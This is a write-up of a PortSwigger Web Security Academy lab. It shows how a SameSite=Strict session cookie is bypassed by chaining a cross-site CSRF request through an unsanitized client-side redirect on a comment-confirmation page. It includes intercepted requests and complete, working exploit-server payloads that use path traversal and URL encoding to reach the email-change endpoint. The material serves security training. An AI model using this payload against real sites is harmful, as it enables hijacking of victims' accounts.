Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — SameSite Strict Bypass via Open Redirect
Difficulty Practitioner
Target 0a7e003b036e75ba803a267d00f10051.web-security-academy.net
Objective Bypass SameSite Strict and change the victim's email address

SameSite Strict Bypass via Client-Side Redirect — Writeup


Reconnaissance

Initial Observation

Logged in as wiener:peter. Intercepting the email change request:

POST /my-account/change-email HTTP/2
Host: 0a7e003b036e75ba803a267d00f10051.web-security-academy.net
Cookie: session=ZjvoCSDy6RTHfKZfQ6bTpjzYTMNvgVWj
[email protected]&submit=1

No CSRF token. Testing a GET override:

GET /my-account/[email protected]&submit=1 HTTP/2
Cookie: session=ZjvoCSDy6RTHfKZfQ6bTpjzYTMNvgVWj
Screenshot

302 Found → follow redirect → 200 OK → email changed.

Screenshot

The endpoint accepts GET and processes the email change. The obvious next step is a location redirect from the exploit server.

Hosting a simple redirect on the exploit server:

<script>
    location="https://0a7e003b036e75ba803a267d00f10051.web-security-academy.net/my-account/[email protected]&submit=1"
</script>

Visiting it as wiener redirects to the login page instead of changing the email.

Screenshot
Screenshot

Intercepting the redirect confirms the reason — the session cookie has SameSite=Strict:

HTTP/2 302 Found
Location: /login
Set-Cookie: session=nYJyplShRFkzLnIxGIaG67DiQi9AZKty; Secure; HttpOnly; SameSite=Strict

SameSite=Strict means the session cookie is never included in any cross-site request — not even top-level GET navigations. Coming from the exploit server domain, the browser strips the cookie entirely. The request arrives without a session and gets bounced to /login.

The only way through is to make the navigation happen entirely within the target domain.

Web — Comment Confirmation Redirect

The blog has a comment functionality. Leaving a comment and checking Burp's history:

POST /post/comment HTTP/2
Cookie: session=2fdgMYYboVolDFo5kHrXEDypS6teRMEJ
postId=8&comment=teto&name=teto&email=teto%40teto.com&website=https%3A%2F%2Fteto.com

Response redirects to /post/comment/confirmation?postId=8.

Screenshot

That confirmation page loads a script:

<script src='/resources/js/commentConfirmationRedirect.js'>
Screenshot

Fetching that script:

redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}

The script reads postId from the URL and appends it to blogPath — constructing the redirect destination client-side with no sanitization. Testing with an arbitrary value:

/post/comment/confirmation?postId=teto
→ window.location = ".../post/teto"
Screenshot
Screenshot

404, as expected. But the redirect is happening — and the postId value is unsanitized. Testing path traversal:

/post/comment/confirmation?postId=../my-account/
→ window.location = ".../post/../my-account/"
→ resolves to ".../my-account/"
Screenshot
Screenshot

Redirected to /my-account/ with the session cookie intact — because the entire navigation stayed within the target domain. SameSite Strict only restricts cross-site requests; same-site redirects carry cookies normally.


Attack Path

Exploit — Same-Site Redirect Chain

The attack chain: exploit server sends the victim to the confirmation page on the target domain → the confirmation page's JS redirects them within the same domain to the email change endpoint → GET request carries the session cookie → email changes.

First attempt without encoding:

<script>
    location="https://0a7e003b036e75ba803a267d00f10051.web-security-academy.net/post/comment/confirmation?postId=../my-account/[email protected]&submit=1";
</script>

Fails — submit is missing because the & breaks the postId parameter before the redirect is constructed. URL-encoding the injected path:

Screenshot
<script>
    location="https://0a7e003b036e75ba803a267d00f10051.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%[email protected]%26submit=1";
</script>

%3f encodes ? and %26 encodes &, so the full query string is treated as part of the postId value and passed through to window.location intact. The constructed URL becomes:

/post/../my-account/[email protected]&submit=1

Which resolves to the email change endpoint with all parameters intact. Lab solved :P

Resources